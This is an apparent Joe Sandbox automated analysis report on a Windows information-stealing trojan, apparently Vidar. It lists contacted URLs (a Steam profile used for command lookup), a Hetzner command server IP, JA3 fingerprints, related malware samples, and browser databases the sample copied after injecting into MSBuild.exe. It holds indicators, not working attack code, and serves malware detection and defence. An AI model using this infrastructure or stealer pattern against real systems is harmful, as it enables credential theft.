https://steamcommunity.com/profiles/76561199689717899/badges	MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://store.steampowered.com/legal/	MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	false	URL Reputation: safe	unknown
http://www.sqlite.org/copyright.html.	MSBuild.exe, 00000001.00000002.2048308496.000000001336C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2054500004.000000001930D000.00000002.00001000.00020000.00000000.sdmp, sqls[1].dll.1.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=tuNiaSwXwcYT&l=engl	MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.css?v=GfSjbGKcNYaQ&l=	76561199689717899[1].htm.1.dr	false	URL Reputation: safe	unknown
https://steamcommunity.com/profiles/76561199689717899/inventory/	MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	false	Avira URL Cloud: safe	unknown
https://sectigo.com/CPS0	SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/css/skin_1/profilev2.css?v=gNE3gksLVEVa&l=en	MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	MSBuild.exe, 00000001.00000002.2045233748.0000000001066000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2045233748.000000000117E000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2045233748.00000000010D9000.00000004.00000020.00020000.00000000.sdmp, ECGIII.1.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	AFBFHD.1.dr	false	Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/css/globalv2.css?v=pwVcIAtHNXwg&l=english&am	MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	false	Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/css/applications/community/main.css?v=Hpc3R3GOIT	MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	false	Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/css/skin_1/header.css?v=vh4BMeDcNiCU&l=engli	MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	false	URL Reputation: safe	unknown
http://upx.sf.net	Amcache.hve.4.dr	false	URL Reputation: safe	unknown
https://store.steampowered.com/	76561199689717899[1].htm.1.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
23.199.218.33	steamcommunity.com	United States		16625	AKAMAI-ASUS	true
78.47.123.174	unknown	Germany		24940	HETZNER-ASDE	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1447066
Start date and time:	2024-05-24 10:26:11 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SecuriteInfo.com.Win32.Malware-gen.198.6512.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@9/32@1/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 96% Number of executed functions: 132 Number of non-executed functions: 208
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 40.126.32.138, 40.126.32.72, 40.126.32.133, 40.126.32.136, 40.126.32.134, 20.190.160.22, 40.126.32.68, 20.190.160.20, 93.184.221.240, 192.229.221.95, 20.189.173.22, 40.127.169.103, 52.165.164.15, 20.114.59.183, 20.3.187.198
Excluded domains from analysis (whitelisted): prdv4a.aadg.msidentity.com, ctldl.windowsupdate.com.delivery.microsoft.com, slscr.update.microsoft.com, www.tm.v4.a.prd.aadg.akadns.net, wu.ec.azureedge.net, onedsblobprdwus17.westus.cloudapp.azure.com, ctldl.windowsupdate.com, wu.azureedge.net, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, ocsp.digicert.com, login.live.com, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, ocsp.edge.digicert.com, blobcollector.events.data.trafficmanager.net, glb.cws.prod.dcat.dsp.trafficmanager.net, hlb.apr-52dd2-0.edgecastdns.net, sls.update.microsoft.com, umwatson.events.data.microsoft.com, wu-b-net.trafficmanager.net, www.tm.lg.prod.aadmsa.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
04:26:59	API Interceptor	1x Sleep call for process: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe modified
04:27:09	API Interceptor	1x Sleep call for process: MSBuild.exe modified
04:27:13	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
23.199.218.33	http://steamcommunici.com/profiles/76567410475250301	Get hash	malicious	Unknown	Browse
	https://mobile-sides-vertical-2.xv2.us/	Get hash	malicious	Unknown	Browse
	https://steam.poweredcommunityart.com/artwork/?id=8513444218	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	CryptOne, Vidar	Browse
78.47.123.174	BI6oo9z4In.exe	Get hash	malicious	CryptOne, Djvu, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	SecuriteInfo.com.Trojan.PWS.Steam.37259.28451.11337.exe	Get hash	malicious	CryptOne, Vidar	Browse
	a6lzHWp4pa.exe	Get hash	malicious	LummaC, CryptOne, LummaC Stealer, SmokeLoader, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
steamcommunity.com	BI6oo9z4In.exe	Get hash	malicious	CryptOne, Djvu, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse	104.102.42.29
	file.exe	Get hash	malicious	Vidar	Browse	104.102.42.29
	https://steamcommunnittly.com/gift/activation/feor37565hFh6dse	Get hash	malicious	Unknown	Browse	104.102.42.29
	dfzesJIgdr.exe	Get hash	malicious	RedLine, Vidar	Browse	23.197.127.21
	http://steamcommunici.com/profiles/76567410475250301	Get hash	malicious	Unknown	Browse	92.122.104.90
	file.exe	Get hash	malicious	Vidar	Browse	23.197.127.21
	SecuriteInfo.com.Trojan.PWS.Steam.37259.28451.11337.exe	Get hash	malicious	CryptOne, Vidar	Browse	23.197.127.21
	a6lzHWp4pa.exe	Get hash	malicious	LummaC, CryptOne, LummaC Stealer, SmokeLoader, Vidar	Browse	23.195.238.96
	file.exe	Get hash	malicious	Vidar	Browse	23.197.127.21
	file.exe	Get hash	malicious	Vidar	Browse	23.197.127.21
fp2e7a.wpc.phicdn.net	SecuriteInfo.com.Win32.TrojanX-gen.9123.22048.exe	Get hash	malicious	LummaC, PureLog Stealer	Browse	192.229.221.95
	http://18.158.249.75	Get hash	malicious	Unknown	Browse	192.229.221.95
	BI6oo9z4In.exe	Get hash	malicious	CryptOne, Djvu, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse	192.229.221.95
	https://perspectivefunnel.co/664fc385b6e1a200142f71ee/664fc45e205ea60014803d49/	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html	Get hash	malicious	HTMLPhisher	Browse	192.229.221.95
	run.js	Get hash	malicious	Unknown	Browse	192.229.221.95
	http://qyt8pi.krestologs.com	Get hash	malicious	Unknown	Browse	192.229.221.95
	SecuriteInfo.com.PUA.Tool.RemoteControl.18.25736.20264.exe	Get hash	malicious	RMSRemoteAdmin	Browse	192.229.221.95
	SecuriteInfo.com.PUA.Tool.RemoteControl.18.25736.20264.exe	Get hash	malicious	RMSRemoteAdmin	Browse	192.229.221.95
	http://birchflarechurch.com	Get hash	malicious	Unknown	Browse	192.229.221.95

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASUS	BI6oo9z4In.exe	Get hash	malicious	CryptOne, Djvu, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse	104.102.42.29
	Job Description (LM HR Division II).pdf .scr.exe	Get hash	malicious	Unknown	Browse	23.47.168.24
	https://deref-mail.com/mail/client/j_iGygdK9BI/dereferrer/?redirectUrl=	Get hash	malicious	Unknown	Browse	23.212.88.20
	https://shop.ketochow.xyz/	Get hash	malicious	Unknown	Browse	2.19.122.221
	http://02.jie888.link/	Get hash	malicious	Unknown	Browse	69.192.160.133
	http://port01-2i9.pages.dev/	Get hash	malicious	Unknown	Browse	2.17.22.50
	http://iykdkk.pages.dev/	Get hash	malicious	Unknown	Browse	2.17.22.50
	http://tan112131.studio.site/	Get hash	malicious	Unknown	Browse	2.19.120.150
	http://testing-1g0.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	23.211.10.95
	https://mariobadescu.tyb.xyz/	Get hash	malicious	Unknown	Browse	2.19.122.221
HETZNER-ASDE	A2G6pO40qG.exe	Get hash	malicious	CMSBrute	Browse	95.217.39.117
	BI6oo9z4In.exe	Get hash	malicious	CryptOne, Djvu, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse	78.47.123.174
	https://deref-mail.com/mail/client/j_iGygdK9BI/dereferrer/?redirectUrl=	Get hash	malicious	Unknown	Browse	136.243.25.83
	http://simxtrackredirecttszz.pages.dev/	Get hash	malicious	Unknown	Browse	136.243.43.25
	http://testing-1g0.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	116.202.167.155
	http://amht38eh3e3f98ox0ld1rc4h3fjcowz98ldjp5hek8.pages.dev/	Get hash	malicious	Unknown	Browse	195.201.57.90
	kHVbLb16yu.hta	Get hash	malicious	Metasploit	Browse	144.76.219.54
	file.exe	Get hash	malicious	Vidar	Browse	78.47.123.174
	Client.exe	Get hash	malicious	AsyncRAT	Browse	168.119.211.236
	https://lnk.sk/mzoy	Get hash	malicious	Unknown	Browse	94.130.224.58

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
51c64c77e60f3980eea90869b68c58a8	BI6oo9z4In.exe	Get hash	malicious	CryptOne, Djvu, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse	78.47.123.174
	file.exe	Get hash	malicious	Vidar	Browse	78.47.123.174
	file.exe	Get hash	malicious	Vidar	Browse	78.47.123.174
	SecuriteInfo.com.Trojan.PWS.Steam.37259.28451.11337.exe	Get hash	malicious	CryptOne, Vidar	Browse	78.47.123.174
	a6lzHWp4pa.exe	Get hash	malicious	LummaC, CryptOne, LummaC Stealer, SmokeLoader, Vidar	Browse	78.47.123.174
	file.exe	Get hash	malicious	Vidar	Browse	78.47.123.174
	file.exe	Get hash	malicious	Vidar	Browse	78.47.123.174
	file.exe	Get hash	malicious	Vidar	Browse	78.47.123.174
	file.exe	Get hash	malicious	Vidar	Browse	78.47.123.174
37f463bf4616ecd445d4a1937da06e19	BI6oo9z4In.exe	Get hash	malicious	CryptOne, Djvu, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse	23.199.218.33
	Offer Document 25.lnk	Get hash	malicious	Unknown	Browse	23.199.218.33
	nF54KOU30R.exe	Get hash	malicious	RHADAMANTHYS	Browse	23.199.218.33
	DNSBench.exe	Get hash	malicious	Unknown	Browse	23.199.218.33
	DNSBench.exe	Get hash	malicious	Unknown	Browse	23.199.218.33
	kam.cmd	Get hash	malicious	GuLoader	Browse	23.199.218.33
	zap.cmd	Get hash	malicious	GuLoader, XWorm	Browse	23.199.218.33
	xff.cmd	Get hash	malicious	GuLoader, XWorm	Browse	23.199.218.33
	las.cmd	Get hash	malicious	GuLoader	Browse	23.199.218.33
	zap.cmd	Get hash	malicious	GuLoader, XWorm	Browse	23.199.218.33

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\AFCBAEBAEBFH\freebl3.dll	BI6oo9z4In.exe	Get hash	malicious	CryptOne, Djvu, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	btCbrSS2Je.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	7urUz64I0Y.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	SecuriteInfo.com.Trojan.PWS.Steam.37259.28451.11337.exe	Get hash	malicious	CryptOne, Vidar	Browse
	a6lzHWp4pa.exe	Get hash	malicious	LummaC, CryptOne, LummaC Stealer, SmokeLoader, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
C:\ProgramData\AFCBAEBAEBFH\mozglue.dll	BI6oo9z4In.exe	Get hash	malicious	CryptOne, Djvu, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	btCbrSS2Je.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	7urUz64I0Y.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	SecuriteInfo.com.Trojan.PWS.Steam.37259.28451.11337.exe	Get hash	malicious	CryptOne, Vidar	Browse
	a6lzHWp4pa.exe	Get hash	malicious	LummaC, CryptOne, LummaC Stealer, SmokeLoader, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse

Created / dropped Files

C:\ProgramData\AFCBAEBAEBFH\AFBFHD

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AFCBAEBAEBFH\CBGCAF

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AFCBAEBAEBFH\CBGCAF-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	high, very likely benign file
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AFCBAEBAEBFH\ECGIII

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\AFCBAEBAEBFH\FIIDBK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AFCBAEBAEBFH\FIJECA

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AFCBAEBAEBFH\HDAAAA

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AFCBAEBAEBFH\IEHCBA

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AFCBAEBAEBFH\JKKEHJ

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AFCBAEBAEBFH\JKKEHJ-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AFCBAEBAEBFH\KFHJJJ

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

